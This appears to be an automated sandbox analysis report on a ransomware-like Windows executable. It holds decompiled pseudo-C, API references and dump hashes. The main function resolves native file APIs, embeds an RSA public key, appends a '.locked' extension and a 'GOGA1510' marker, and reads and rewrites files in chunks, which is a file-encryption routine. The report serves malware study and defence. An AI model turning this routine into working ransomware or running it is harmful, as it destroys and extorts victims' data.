							if(_t68 < _t53) {
								continue;
							}
							goto L30;
						}
						goto L30;
					}
					 *((intOrPtr*)(E0010FAC5())) = 0x16;
					return E0010F43B() | 0xffffffff;
				}
				if(_t53 != 0) {
					 *_t67 = 0;
					goto L3;
				}
				return 0;
			}

0x00110d77
0x00110d80
0x00110d85
0x00110d88
0x00110d8c
0x00110d9b
0x00110d9e
0x00110dbe
0x00110dc3
0x00110dc6
0x00110dc8
0x00110e96
0x00110e9c
0x00110eb1
0x00110ebd
0x00110ec3
0x00110ec5
0x00110ed4
0x00110ed4
0x00110ed4
0x00110ed7
0x00110ed7
0x00110edb
0x00110edd
0x00110ee0
0x00110ee0
0x00110ee0
0x00110ee0
0x00000000
0x00110ee7
0x00110ecc
0x00000000
0x00110ecc
0x00110e9e
0x00110ea1
0x00110ea1
0x00110ea4
0x00110ea4
0x00110ea6
0x00110ea7
0x00110ea7
0x00110eab
0x00000000
0x00110eab
0x00110dce
0x00110dd4
0x00110e01
0x00110e0d
0x00110e13
0x00110e15
0x00000000
0x00000000
0x00110e1b
0x00110e21
0x00110e24
0x00110e80
0x00110e85
0x00110e8d
0x00000000
0x00110e8d
0x00110e26
0x00110e29
0x00110e2b
0x00110e2e
0x00110e30
0x00110e32
0x00110e68
0x00110e76
0x00110e7c
0x00110e7e
0x00110e92
0x00000000
0x00110e92
0x00000000
0x00000000
0x00000000
0x00000000
0x00110e34
0x00110e34
0x00110e34
0x00110e37
0x00110e3a
0x00110e3c
0x00000000
0x00000000
0x00110e46
0x00110e4d
0x00110e50
0x00110e52
0x00110e5a
0x00110e5a
0x00110e5d
0x00110e5e
0x00110e61
0x00110e63
0x00000000
0x00000000
0x00000000
0x00110e63
0x00110e54
0x00110e55
0x00110e58
0x00000000
0x00000000
0x00000000
0x00110e58
0x00110e65
0x00000000
0x00110e65
0x00110dd6
0x00110dd8
0x00000000
0x00000000
0x00110dde
0x00110de1
0x00110de5
0x00110de8
0x00110dec
0x00000000
0x00000000
0x00110df2
0x00110df3
0x00110df6
0x00110df8
0x00000000
0x00000000
0x00000000
0x00110dfa
0x00000000
0x00110de1
0x00110da5
0x00000000
0x00110db0
0x00110d92
0x00110d98
0x00000000
0x00110d98
0x00110eef

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,D529E887,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,D529E887), ref: 00110E0D
GetLastError.KERNEL32(?,bad locale name), ref: 00110E1B
MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,D529E887,00000000,?,bad locale name), ref: 00110E76
MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,D529E887), ref: 00110EBD

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: b4fbb38411278fb6ea6f0fb654adf605624b52436ae1672554a896ed24c407a9
Instruction ID: fd1b2091853c58ca0fbcf7df8e3465cfa93669968da95501ff9e4bbf81a3d083
Opcode Fuzzy Hash: b4fbb38411278fb6ea6f0fb654adf605624b52436ae1672554a896ed24c407a9
Instruction Fuzzy Hash: 4C41D630A01256EFCF2A8F69C844AFE7BA4EF09310F154579F998A7191EBB09DC1C751

Uniqueness

Uniqueness Score: 0.14%

Analysis Process: tgytutrc3979.exe PID: 684 Parent PID: 2344 tgytutrc3979.exeUNIQUE

Executed Functions

Function 0008FC60, Relevance: 41.2, APIs: 7, Strings: 16, Instructions: 910
nativefileUNIQUECrypto

Download Yara Rule

C-Code - Quality: 72%

			E0008FC60(void* __ebx, WCHAR* __ecx, signed int __edx, void* __edi, void* __esi) {
				union _GET_FILEEX_INFO_LEVELS _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				char _v27;
				signed int _v36;
				char _v40;
				intOrPtr _v52;
				signed int _v56;
				char _v72;
				signed int _v76;
				union _GET_FILEEX_INFO_LEVELS _v80;
				char _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				char _v120;
				void* _v124;
				union _GET_FILEEX_INFO_LEVELS _v128;
				intOrPtr _v132;
				union _GET_FILEEX_INFO_LEVELS _v140;
				union _GET_FILEEX_INFO_LEVELS _v144;
				char _v148;
				void _v156;
				signed int _v164;
				intOrPtr _v172;
				char _v176;
				union _GET_FILEEX_INFO_LEVELS _v180;
				union _GET_FILEEX_INFO_LEVELS _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				union _GET_FILEEX_INFO_LEVELS _v196;
				void* _v200;
				intOrPtr _v204;
				char _v208;
				union _GET_FILEEX_INFO_LEVELS _v212;
				signed int _v268;
				intOrPtr _v276;
				char _v280;
				char _v368;
				intOrPtr _v372;
				char _v388;
				char _v404;
				char _v408;
				union _GET_FILEEX_INFO_LEVELS _v412;
				char _v416;
				intOrPtr _v420;
				char _v424;
				signed int _v468;
				intOrPtr _v476;
				char _v480;
				signed int _v484;
				void* _v488;
				char _v492;
				char _v496;
				WCHAR* _v500;
				char _v508;
				WCHAR* _v512;
				intOrPtr _v516;
				WCHAR* _v520;
				intOrPtr _v524;
				union _GET_FILEEX_INFO_LEVELS _v528;
				char* _v532;
				void* _v540;
				union _GET_FILEEX_INFO_LEVELS _v544;
				intOrPtr _v548;
				char _v568;
				intOrPtr _v572;
				WCHAR* _v576;
				char _v580;
				intOrPtr _v584;
				WCHAR* _v588;
				signed int _v592;
				char* _v596;
				void* _v604;
				char _v660;
				intOrPtr _v668;
				intOrPtr _v672;
				signed int _v676;
				intOrPtr _v680;
				intOrPtr _v688;
				intOrPtr _v692;
				signed int _v696;
				intOrPtr _v700;
				intOrPtr _v708;
				intOrPtr _v712;
				signed int _v716;
				intOrPtr _v720;
				intOrPtr _v728;
				char _v732;
				char _v736;
				char _v784;
				intOrPtr _v792;
				signed int _v796;
				signed int _v800;
				intOrPtr _v804;
				intOrPtr _v812;
				signed int _v816;
				signed int _v820;
				intOrPtr _v824;
				intOrPtr _v832;
				signed int _v836;
				signed int _v840;
				intOrPtr _v844;
				intOrPtr _v852;
				intOrPtr _v856;
				char _v860;
				char _v916;
				char _v924;
				intOrPtr _v928;
				char _v932;
				intOrPtr _v936;
				char _v992;
				intOrPtr _v996;
				char _v1000;
				void* __ebp;
				signed int _t387;
				signed int _t388;
				signed int _t390;
				void* _t406;
				intOrPtr _t411;
				char _t418;
				WCHAR* _t437;
				signed int _t438;
				union _GET_FILEEX_INFO_LEVELS _t439;
				signed int _t462;
				void* _t464;
				char* _t465;
				signed int _t483;
				intOrPtr _t489;
				intOrPtr _t490;
				intOrPtr* _t491;
				union _GET_FILEEX_INFO_LEVELS _t492;
				intOrPtr _t497;
				void* _t499;
				intOrPtr _t517;
				signed int _t524;
				intOrPtr _t525;
				signed int _t527;
				intOrPtr _t528;
				signed int _t530;
				intOrPtr _t531;
				intOrPtr _t534;
				WCHAR* _t535;
				void* _t536;
				void* _t538;
				intOrPtr _t555;
				intOrPtr* _t556;
				union _GET_FILEEX_INFO_LEVELS _t557;
				signed int _t559;
				intOrPtr _t571;
				intOrPtr _t575;
				signed int _t582;
				signed int _t584;
				signed int _t586;
				signed int _t588;
				signed int _t590;
				intOrPtr _t594;
				intOrPtr _t604;
				signed int _t619;
				union _GET_FILEEX_INFO_LEVELS _t620;
				intOrPtr _t634;
				signed int _t638;
				void* _t641;
				void* _t644;
				signed int _t652;
				intOrPtr _t662;
				intOrPtr _t667;
				signed int _t671;
				WCHAR* _t677;
				intOrPtr _t679;
				intOrPtr _t680;
				intOrPtr _t681;
				signed int _t686;
				char _t695;
				char _t702;
				char* _t703;
				intOrPtr _t705;
				signed int _t709;
				signed int _t710;
				intOrPtr _t711;
				signed int _t712;
				union _GET_FILEEX_INFO_LEVELS _t714;
				void* _t718;
				intOrPtr _t719;
				void* _t720;
				intOrPtr* _t723;
				WCHAR* _t729;
				signed int _t730;
				signed int _t731;
				signed int _t734;
				WCHAR* _t736;
				char* _t737;
				intOrPtr* _t739;
				signed int _t743;
				void* _t744;
				intOrPtr _t745;
				void* _t748;
				void* _t752;
				void* _t753;

				_t706 = __edx;
				_t609 = __ebx;
				_push(0xffffffff);
				_push(E00130D9A);
				_push( *[fs:0x0]);
				_t745 = _t744 - 0x3d8;
				_t387 =  *0x16f170; // 0xdb2c627e
				_t388 = _t387 ^ _t743;
				_v24 = _t388;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t388);
				 *[fs:0x0] =  &_v16;
				_v20 = _t745;
				_t736 = __edx;
				_t722 = __ecx;
				_v596 = __ecx;
				_v520 = __ecx;
				_v528 = 0;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x234], xmm0");
				_v544 = 0;
				_v588 = __ecx;
				_v592 = __edx;
				asm("movq [ebp-0x224], xmm0");
				_v568 = 0;
				_v544 = 0;
				_v8 = 0;
				_v8 = 1;
				_t390 =  *0x17a6b0; // 0x3f
				_t759 = _t390 & 0x00000001;
				if((_t390 & 0x00000001) != 0) {
					L6:
					if( *0x17a69c != 0) {
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) == 0) {
							_t590 = _t390 | 0x00000002;
							__eflags = _t590;
							 *0x17a6b0 = _t590;
							_v8 = 5;
							 *0x17a6a8 = E0008EE00(0x17a69c, _t722, _t736, "NtOpenFile");
							_v8 = 1;
							_t390 =  *0x17a6b0; // 0x3f
						}
						__eflags = _t390 & 0x00000004;
						if((_t390 & 0x00000004) == 0) {
							_t588 = _t390 | 0x00000004;
							__eflags = _t588;
							 *0x17a6b0 = _t588;
							_v8 = 6;
							 *0x17a6ac = E0008EE00(0x17a69c, _t722, _t736, "NtClose");
							_v8 = 1;
							_t390 =  *0x17a6b0; // 0x3f
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t586 = _t390 | 0x00000008;
							__eflags = _t586;
							 *0x17a6b0 = _t586;
							_v8 = 7;
							 *0x17a698 = E0008EE00(0x17a69c, _t722, _t736, "NtReadFile");
							_v8 = 1;
							_t390 =  *0x17a6b0; // 0x3f
						}
						__eflags = _t390 & 0x00000010;
						if((_t390 & 0x00000010) == 0) {
							_t584 = _t390 | 0x00000010;
							__eflags = _t584;
							 *0x17a6b0 = _t584;
							_v8 = 8;
							 *0x17a6b4 = E0008EE00(0x17a69c, _t722, _t736, "NtWriteFile");
							_v8 = 1;
							_t390 =  *0x17a6b0; // 0x3f
						}
						__eflags = _t390 & 0x00000020;
						if((_t390 & 0x00000020) == 0) {
							_t582 = _t390 | 0x00000020;
							__eflags = _t582;
							 *0x17a6b0 = _t582;
							_v8 = 9;
							 *0x17a6a0 = E0008EE00(0x17a69c, _t722, _t736, "RtlInitUnicodeString");
							_v8 = 1;
						}
						_v424 = 0x41474f47;
						_v420 = 0x30313531;
						E001053E0(_t722,  &_v416, 0, 0x2c);
						_v372 = 0x61676f67;
						E001053E0(_t722,  &_v368, 0, 0x58);
						E000CA810(_t609, _t706, _t722, __eflags, 1,  &_v404); // executed
						E000AEA00(0x17a548,  &_v388, 0x10); // executed
						_t723 = E000ECF08(_t736, __eflags);
						_v520 = _t723;
						_v8 = 0xa;
						E0005AA80(_t723, __eflags, E000B05D0(), 6, 0);
						 *_t723 = 0x152014;
						 *((intOrPtr*)(_t723 + 4)) = 0x151fc8;
						_v8 = 1;
						E00062D80( &_v280, _t706, __eflags, _t723);
						_v280 = 0x13e560;
						_v276 = 0x13e634;
						_v148 = 0;
						_v144 = 0;
						_v140 = 0;
						_v132 = 0xffffffff;
						_v128 = 0;
						_v124 = 0;
						_v8 = 0xd;
						E00059C80(" MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDLscAMf6QMU0OLT967Q0oMVN/9xRbC6Ymz HVVE05zgpDJRQQLmPPYcPnehaeynF8HGFYbRIEaD0pk4WZwGPLtcRaYuQS1M6v+2j4Vp8faA woNdi7+jI2xw0kQao29FJ8WUQDvrPqODALf8bjiOIO7f1Nc5g9vOEbWyCA1w/vbaVwIBEQ==", 0xdb, 0);
						_v8 = 0xe;
						_t406 = E0006D700(__eflags,  &_v40, "InputBuffer",  &_v148, 1);
						_t748 = _t745 + 0x38;
						_v8 = 0xf;
						 *((intOrPtr*)(_v280 + 0x20))(_t406, 0x3c, 0x10);
						 *((intOrPtr*)(_v280 + 0xc8))(1);
						_v8 = 0x10;
						_t619 = _v36;
						__eflags = _t619;
						if(_t619 != 0) {
							 *((intOrPtr*)( *_t619))(1);
						}
						_v40 = 0x13b788;
						_v8 = 0x11;
						_t411 = _v132;
						_t620 = _v128;
						__eflags = _t411 - _t620;
						_t621 =  <  ? _t411 : _t620;
						memset(_v124, 0, ( <  ? _t411 : _t620) << 0);
						L000B3E40(_v124);
						_v8 = 0x12;
						E00090BC0( &_v1000);
						_v8 = 0x13;
						 *((intOrPtr*)(_v996 + 4))( &_v280);
						_t418 = _v992;
						_t722 =  &_v992 +  *((intOrPtr*)(_t418 + 4));
						E000ADB10( &_v932, _v124, 1);
						E00090BC0( &_v924,  &_v932);
						_v936 = 0x13e968;
						_v932 = 0x13e994;
						_v928 = 0x13e9b8;
						_v8 = 0x14;
						 *((intOrPtr*)( *((intOrPtr*)( &_v916 +  *((intOrPtr*)(_v916 + 4)))) + 8))( &_v992 +  *((intOrPtr*)(_t418 + 4)));
						_v8 = 0x15;
						_v212 = 0;
						_v208 = 0;
						_v204 = 0x1522a0;
						E000AAB90(_t609,  &_v916 +  *((intOrPtr*)(_v916 + 4)),  &_v992 +  *((intOrPtr*)(_t418 + 4)), _t736,  &_v580, _t736,  &_v212); // executed
						_v8 = 0x16;
						E000AA700(_t736, 0x1b6,  &_v212);
						_v8 = 0x15;
						E00093290( &_v120, _t736, L".locked");
						_v8 = 0x17;
						E00064650( &_v96, _t736,  &_v120);
						_v8 = 0x18;
						E000AA990( &_v96, _t743, __eflags,  &_v96,  &_v212);
						_v8 = 0x17;
						_t752 = _t748 + 0x30;
						_t709 = _v76;
						__eflags = _t709 - 8;
						if(_t709 < 8) {
							L29:
							__eflags = _t736[0xa] - 8;
							_t437 = _t736;
							if(_t736[0xa] >= 8) {
								_t437 =  *_t736;
							}
							_t438 = GetFileAttributesExW(_t437, 0,  &_v156);
							__eflags = _t438;
							if(_t438 != 0) {
								_t439 = _v128;
								_t634 = _v124 + 0;
								asm("adc eax, 0x0");
							} else {
								asm("xorps xmm0, xmm0");
								asm("movlpd [ebp-0x200], xmm0");
								_t439 = _v512;
								_t634 = _v516;
							}
							_v412 = _t439;
							_v416 = _t634;
							E00064650( &_v96, _t709,  &_v120);
							_v8 = 0x19;
							E000AAAC0(_t736,  &_v96, 0);
							_v8 = 0x17;
							_t753 = _t752 + 0xc;
							_t710 = _v76;
							__eflags = _t710 - 8;
							if(_t710 < 8) {
								L38:
								E000C6A70( &_v508);
								_v8 = 0x1a;
								_v56 = 0;
								_v72 = 0;
								_v52 = 7;
								_v528 = 2;
								E000729A0( &_v72, _t722, _v104 + 5);
								_t711 = _v52;
								_t638 = _v56;
								__eflags = _t711 - _t638 - 5;
								if(_t711 - _t638 < 5) {
									_push(5);
									_v484 = 0;
									E00070AF0( &_v72, 5, _v484, L"\\??\\\\");
								} else {
									__eflags = _t711 - 8;
									_t736 =  >=  ? _v72 :  &_v72;
									_t166 = _t638 + 5; // 0x5
									_t734 = _t166;
									_v56 = _t734;
									E00104E60( &(_t736[_t638]), L"\\??\\\\", 0xa);
									_t753 = _t753 + 0xc;
									_t736[_t734] = 0;
								}
								__eflags = _v100 - 8;
								_t712 = _v56;
								_t641 =  >=  ? _v120 :  &_v120;
								_t727 = _v104;
								_v484 = _t712;
								__eflags = _t727 - _v52 - _t712;
								if(_t727 > _v52 - _t712) {
									_push(_t727);
									_v484 = 0;
									E00070AF0( &_v72, _t727, _v484, _t641);
								} else {
									__eflags = _v52 - 8;
									_v56 = _t727 + _t712;
									_t736 =  >=  ? _v72 :  &_v72;
									E00104E60( &(_t736[_t712]), _t641, _t727 + _t727);
									_t753 = _t753 + 0xc;
									_t736[_v484 + _t727] = 0;
								}
								__eflags = _v52 - 8;
								asm("xorps xmm0, xmm0");
								_t456 =  >=  ? _v72 :  &_v72;
								asm("movlpd [ebp-0x258], xmm0");
								RtlInitUnicodeString( &_v604,  >=  ? _v72 :  &_v72);
								_v200 = 0x18;
								_v192 =  &_v604;
								asm("xorps xmm0, xmm0");
								_v196 = 0;
								_v188 = 0x40;
								_v184 = 0;
								_v180 = 0;
								asm("movlpd [ebp-0x218], xmm0"); // executed
								_t462 = NtOpenFile( &_v488, 0x12019f,  &_v200,  &_v540, 5, 0x4020); // executed
								__eflags = _t462;
								if(__eflags < 0) {
									_t713 =  ~_t462;
									_t464 = E000735D0( &_v27,  ~_t462);
									 *((char*)(_t464 - 1)) = 0x2d;
									_v80 = 0;
									_v76 = 0xf;
									_t359 = _t464 - 1; // -1
									_t644 = _t359;
									_v96 = 0;
									_t465 =  &_v27;
									__eflags = _t644 - _t465;
									if(_t644 != _t465) {
										_t483 = _t465 - _t644;
										__eflags = _t483;
										_push(_t483);
										E00068B90( &_v96, _t713, _t736, _t644);
									}
									_v528 = 0xe;
									_v8 = 0x29;
									E00093460( &_v568, E0006CC90( &_v144, " FAILED ",  &_v96));
									E00060F60(_t609,  &_v144, _t727);
									E00060F60(_t609,  &_v96, _t727);
								} else {
									_t753 = _t753 - 8;
									E00092520(_t609,  &_v40, _t712, __eflags);
									_v8 = 0x1b;
									E00091950( &_v860, _t712, __eflags,  &_v388,  &_v40,  &_v404); // executed
									_v8 = 0x1c;
									asm("xorps xmm0, xmm0");
									_t662 = _v416;
									_t714 = _v412;
									asm("movlpd [ebp-0x200], xmm0");
									_t729 = _v512;
									_t489 = _v516;
									_v524 = _t662;
									_v484 = _t714;
									goto L46;
								}
							} else {
								_t694 = _v96;
								_t718 = 2 + _t710 * 2;
								_t571 = _t694;
								__eflags = _t718 - 0x1000;
								if(_t718 < 0x1000) {
									L37:
									_push(_t718);
									E000ED2D0(_t694);
									_t753 = _t753 + 8;
									goto L38;
								} else {
									_t694 =  *((intOrPtr*)(_t694 - 4));
									_t714 = _t718 + 0x23;
									__eflags = _t571 - _t694 + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										goto L95;
									} else {
										goto L37;
									}
								}
							}
						} else {
							_t695 = _v96;
							_t709 = 2 + _t709 * 2;
							_t575 = _t695;
							__eflags = _t709 - 0x1000;
							if(_t709 < 0x1000) {
								L28:
								_push(_t709);
								E000ED2D0(_t695);
								_t752 = _t752 + 8;
								goto L29;
							} else {
								_t694 =  *((intOrPtr*)(_t695 - 4));
								_t714 = _t709 + 0x23;
								__eflags = _t575 -  *((intOrPtr*)(_t695 - 4)) + 0xfffffffc - 0x1f;
								if(__eflags > 0) {
									goto L94;
								} else {
									goto L28;
								}
							}
						}
						goto L85;
					} else {
						_push(0xe);
						 *(_t722 + 0x10) = 0;
						 *((intOrPtr*)(_t722 + 0x14)) = 0xf;
						 *_t722 = 0;
						E00068B90(_t722, _t706, _t736, "internal error");
						 *((char*)(_t722 + 0x18)) = 1;
						if(_v544 == 0) {
							L12:
						} else {
							_t719 = _v548;
							if(_t719 < 0x10) {
								goto L12;
							} else {
								_t702 = _v568;
								_t720 = _t719 + 1;
								_t594 = _t702;
								if(_t720 < 0x1000) {
									L11:
									_push(_t720);
									E000ED2D0(_t702);
									goto L12;
								} else {
									_t694 =  *((intOrPtr*)(_t702 - 4));
									_t714 = _t720 + 0x23;
									if(_t594 -  *((intOrPtr*)(_t702 - 4)) + 0xfffffffc > 0x1f) {
										goto L93;
									} else {
										goto L11;
									}
								}
							}
						}
					}
				} else {
					 *0x17a6b0 = _t390 | 0x00000001;
					_push(__ecx);
					_t703 =  &_v96;
					_v8 = 2;
					E0006CE80(_t703, "ntdll.dll");
					 *0x17a69c = 0;
					_push(_t703);
					_v8 = 4;
					E0008EDA0(__ebx, 0x17a69c, _t706, _t722, _t759,  &_v96);
					_v8 = 2;
					_t706 = _v76;
					if(_t706 < 8) {
						L5:
						E000ED2BB(_t762, 0x1388d0);
						_v8 = 1;
						_t745 = _t745 + 4;
						_t390 =  *0x17a6b0; // 0x3f
						goto L6;
					} else {
						_t705 = _v96;
						_t706 = 2 + _t706 * 2;
						_t604 = _t705;
						if(_t706 < 0x1000) {
							L4:
							_push(_t706);
							E000ED2D0(_t705);
							_t745 = _t745 + 8;
							goto L5;
						} else {
							_t694 =  *((intOrPtr*)(_t705 - 4));
							_t714 = _t706 + 0x23;
							_t762 = _t604 -  *((intOrPtr*)(_t705 - 4)) + 0xfffffffc - 0x1f;
							if(_t604 -  *((intOrPtr*)(_t705 - 4)) + 0xfffffffc > 0x1f) {
								E0010F44B(__ebx, _t694, _t714, _t722, __eflags);
								L93:
								E0010F44B(_t609, _t694, _t714, _t722, __eflags);
								L94:
								E0010F44B(_t609, _t694, _t714, _t722, __eflags);
								L95:
								_t556 = E0010F44B(_t609, _t694, _t714, _t722, __eflags);
								L96:
								_t557 =  *_t556();
								L58:
								_t559 = _v496 + _t736;
								__eflags = _t559;
								_v532(_t559, _t557);
								_t736 = _t729;
								L59:
								_v496 = _v40;
								_v532 =  &_v736;
								E00090E20( &_v660, _t714, __eflags,  &_v784);
								_v8 = 0x1d;
								_v728 = _v852;
								_v720 = _v844;
								_t524 = _v840;
								_t715 = _t524;
								_v716 = _t524;
								__eflags = _t524;
								if(__eflags != 0) {
									_t525 = E000B3DE0(_t729, __eflags, _t524);
									_t715 = _v716;
									_t679 = _t525;
									_t524 = _v840;
									_t753 = _t753 + 4;
								} else {
									_t679 = 0;
								}
								_t730 = _v836;
								_v712 = _t679;
								__eflags = _t730;
								if(_t730 != 0) {
									E00051A20(_t679, _t715, _t730, _t524);
									_t753 = _t753 + 8;
								}
								_v8 = 0x1f;
								_v700 = _v824;
								_t527 = _v820;
								_t716 = _t527;
								_v696 = _t527;
								__eflags = _t527;
								if(__eflags != 0) {
									_t528 = E000B3DE0(_t730, __eflags, _t527);
									_t716 = _v696;
									_t680 = _t528;
									_t527 = _v820;
									_t753 = _t753 + 4;
								} else {
									_t680 = 0;
								}
								_t731 = _v816;
								_v692 = _t680;
								__eflags = _t731;
								if(_t731 != 0) {
									E00051A20(_t680, _t716, _t731, _t527);
									_t753 = _t753 + 8;
								}
								_v8 = 0x21;
								_v680 = _v804;
								_t530 = _v800;
								_t717 = _t530;
								_v676 = _t530;
								__eflags = _t530;
								if(_t530 != 0) {
									_t531 = E000B3B40(_t731, _t736, _t530);
									_t717 = _v676;
									_t681 = _t531;
									_t530 = _v800;
									_t753 = _t753 + 4;
								} else {
									_t681 = 0;
								}
								_t732 = _v796;
								_v672 = _t681;
								__eflags = _v796;
								if(__eflags != 0) {
									E00051A20(_t681, _t717, _t732, _t530);
									_t753 = _t753 + 8;
								}
								_v668 = _v792;
								_v736 = 0x152a40;
								_v732 = 0x153064;
								_v708 = 0x152b98;
								_v688 = 0x152bd0;
								_v8 = 0x23;
								E000C86F0( &_v732, __eflags, _v492, _v500);
								_push(0x78);
								_t534 = E000ECF08(_t736, __eflags);
								_t733 = _t534;
								_v584 = _t534;
								_push(0x20);
								_v8 = 0x24;
								_t535 = E000ECF08(_t736, __eflags);
								_t753 = _t753 + 8;
								_v512 = _t535;
								_v8 = 0x25;
								_t536 = E0005A760(_t535, _v496, _t736);
								_push(5);
								_v8 = 0x24;
								_t538 = E000B1090(_t609, _t534, _t736, __eflags,  &_v732, _t536);
								_v8 = 0x23;
								E0005A8A0( &_v176, _t717, __eflags, _v496, _t736, _t733, _t538);
								_t686 = _v164;
								_v176 = 0x13e47c;
								_v172 = 0x13e550;
								__eflags = _t686;
								if(_t686 != 0) {
									 *((intOrPtr*)( *_t686))(1);
								}
								_v8 = 0x1c;
								_v736 = 0x13e2b0;
								_v732 = 0x13e304;
								_v708 = 0x13e348;
								_v688 = 0x13e380;
								E00092200( &_v736);
								E00090F70( &_v660); // executed
								_v580 = _v492;
								_v576 = _v500;
								 *0x17a6b4(_v488, 0, 0, 0,  &_v540, _v40, _t736,  &_v580, 0); // executed
								_t489 = _v572;
								_t729 = _v520;
								_t662 = _v524;
								_t714 = _v484;
								L46:
								_v492 = _t489;
								_v500 = _t729;
								__eflags = _t729 - _t714;
								if(__eflags <= 0) {
									if(__eflags < 0) {
										L49:
										_t736 = _t662 - _t489;
										asm("sbb eax, edi");
										__eflags = 0 - _t714;
										if(__eflags <= 0) {
											if(__eflags < 0) {
												L52:
												_t736 = 0x10000;
											} else {
												__eflags = 0x10000 - _t736;
												if(0x10000 < _t736) {
													goto L52;
												}
											}
										}
										 *0x17a698(_v488, 0, 0, 0,  &_v540, _v40, _t736, 0, 0); // executed
										E000C6B10( &_v508, _v40, _t736);
										_t677 = _t729;
										_t517 = _v492 + 0x10000;
										_v572 = _t517;
										asm("adc ecx, 0x0");
										_v520 = _t677;
										__eflags = _t677 - _v484;
										if(__eflags >= 0) {
											if(__eflags > 0) {
												L56:
												_push( &_v40);
												_t235 =  &(_t736[2]); // 0x10004
												_t729 = _t235;
												_push(_t729);
												E00093560(_t609,  &_v40, _t729, _t736);
												_v496 = _v40;
												_t555 = _v508;
												_t556 =  *((intOrPtr*)(_t555 + 0x20));
												_v532 =  *((intOrPtr*)(_t555 + 0x3c));
												__eflags = _t556 - E00091CE0;
												if(_t556 != E00091CE0) {
													goto L96;
												} else {
													_t557 = 0x14;
												}
												goto L58;
											} else {
												__eflags = _t517 - _v524;
												if(__eflags >= 0) {
													goto L56;
												}
											}
										}
										goto L59;
									} else {
										__eflags = _t489 - _t662;
										if(_t489 < _t662) {
											goto L49;
										}
									}
								}
								_t490 = _v508;
								_t739 =  *((intOrPtr*)(_t490 + 0x3c));
								_t491 =  *((intOrPtr*)(_t490 + 0x20));
								__eflags = _t491 - E00091CE0;
								if(__eflags != 0) {
									_t492 =  *_t491();
								} else {
									_t492 = 0x14;
								}
								 *_t739( &_v408, _t492);
								_t736 = E000ECF08(_t739, __eflags);
								_v512 = _t736;
								_v8 = 0x26;
								_v584 = E000ECF08(_t736, __eflags);
								_v8 = 0x27;
								_t497 = E0005A760(_t496,  &_v408, 0x80);
								_v8 = 0x26;
								_t727 = _t497;
								_t667 = _v936;
								_t334 = _t667 + 0x1c; // 0xae810
								_t499 =  *((intOrPtr*)( *_t334))(0x17a548, 0,  *0x16f038, 0x20, 0x4c);
								E000B0F10(_t609, _t736, _t714, _t736, __eflags, _t499, 0);
								 *_t736 = 0x152938;
								_t736[2] = 0x152c14;
								_v8 = 0x1c;
								E0005A8A0( &_v480, _t714, __eflags,  &_v408, 0x28, _t736, _t736); // executed
								_t340 =  &_v424; // 0x41474f47
								_v8 = 0x28;
								 *0x17a6b4(_v488, 0, 0, 0,  &_v540, _t340, 0x90, 0, 0, 0, _t497); // executed
								NtClose(_v488);
								_t671 = _v468;
								_v480 = 0x13e47c;
								_v476 = 0x13e550;
								__eflags = _t671;
								if(_t671 != 0) {
									 *((intOrPtr*)( *_t671))(1);
								}
								_v860 = 0x13e2b0;
								_v856 = 0x13e304;
								_v832 = 0x13e348;
								_v812 = 0x13e380;
								E00092200( &_v860);
								E00090F70( &_v784); // executed
								E000924D0(_t609,  &_v40, _t727);
								L85:
								E00054B10(_t609,  &_v72, _t727, _t736);
								E00054B10(_t609,  &_v120, _t727, _t736);
								E00090C70( &_v924);
								E00090C70( &_v1000);
								_t652 = _v268;
								_v280 = 0x13e47c;
								_v276 = 0x13e550;
								__eflags = _t652;
								if(_t652 != 0) {
									 *((intOrPtr*)( *_t652))(1);
								}
								_t737 = _v596;
								__eflags = _v544;
								 *_t737 = 0;
								 *((char*)(_t737 + 0x18)) = 0;
								if(_v544 != 0) {
									E000936C0(_t737,  &_v568);
								}
								E0005DB90(_t609,  &_v568, _t727);
							} else {
								goto L4;
							}
						}
					}
				}
				 *[fs:0x0] = _v16;
				return E000ECED8(_v24 ^ _t743);
			}

APIs

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Part of subcall function 000CA810: CryptGenRandom.ADVAPI32(00000000,DB2C627E,7757C452), ref: 000CA86A
Part of subcall function 000CA810: CryptReleaseContext.ADVAPI32(DB2C627E,00000000), ref: 000CA885
Part of subcall function 000CA810: __CxxThrowException@8.LIBVCRUNTIME ref: 000CA8CB

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBAD
Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBDB
Part of subcall function 000ADB10: ___std_exception_copy.LIBVCRUNTIME ref: 000ADC32

Part of subcall function 000AAB90: GetFileAttributesW.KERNELBASE(?,DB2C627E,?,?,?,?,?,?,00133E80,000000FF,?,00055195), ref: 000AABD2
Part of subcall function 000AAB90: CreateFileW.KERNEL32(?,00000000,00000007,00000000,00000003,02000000,00000000), ref: 000AAC5B
Part of subcall function 000AAB90: CloseHandle.KERNEL32(00000000), ref: 000AACB3
Part of subcall function 000AAB90: CloseHandle.KERNEL32(00000000), ref: 000AACC3

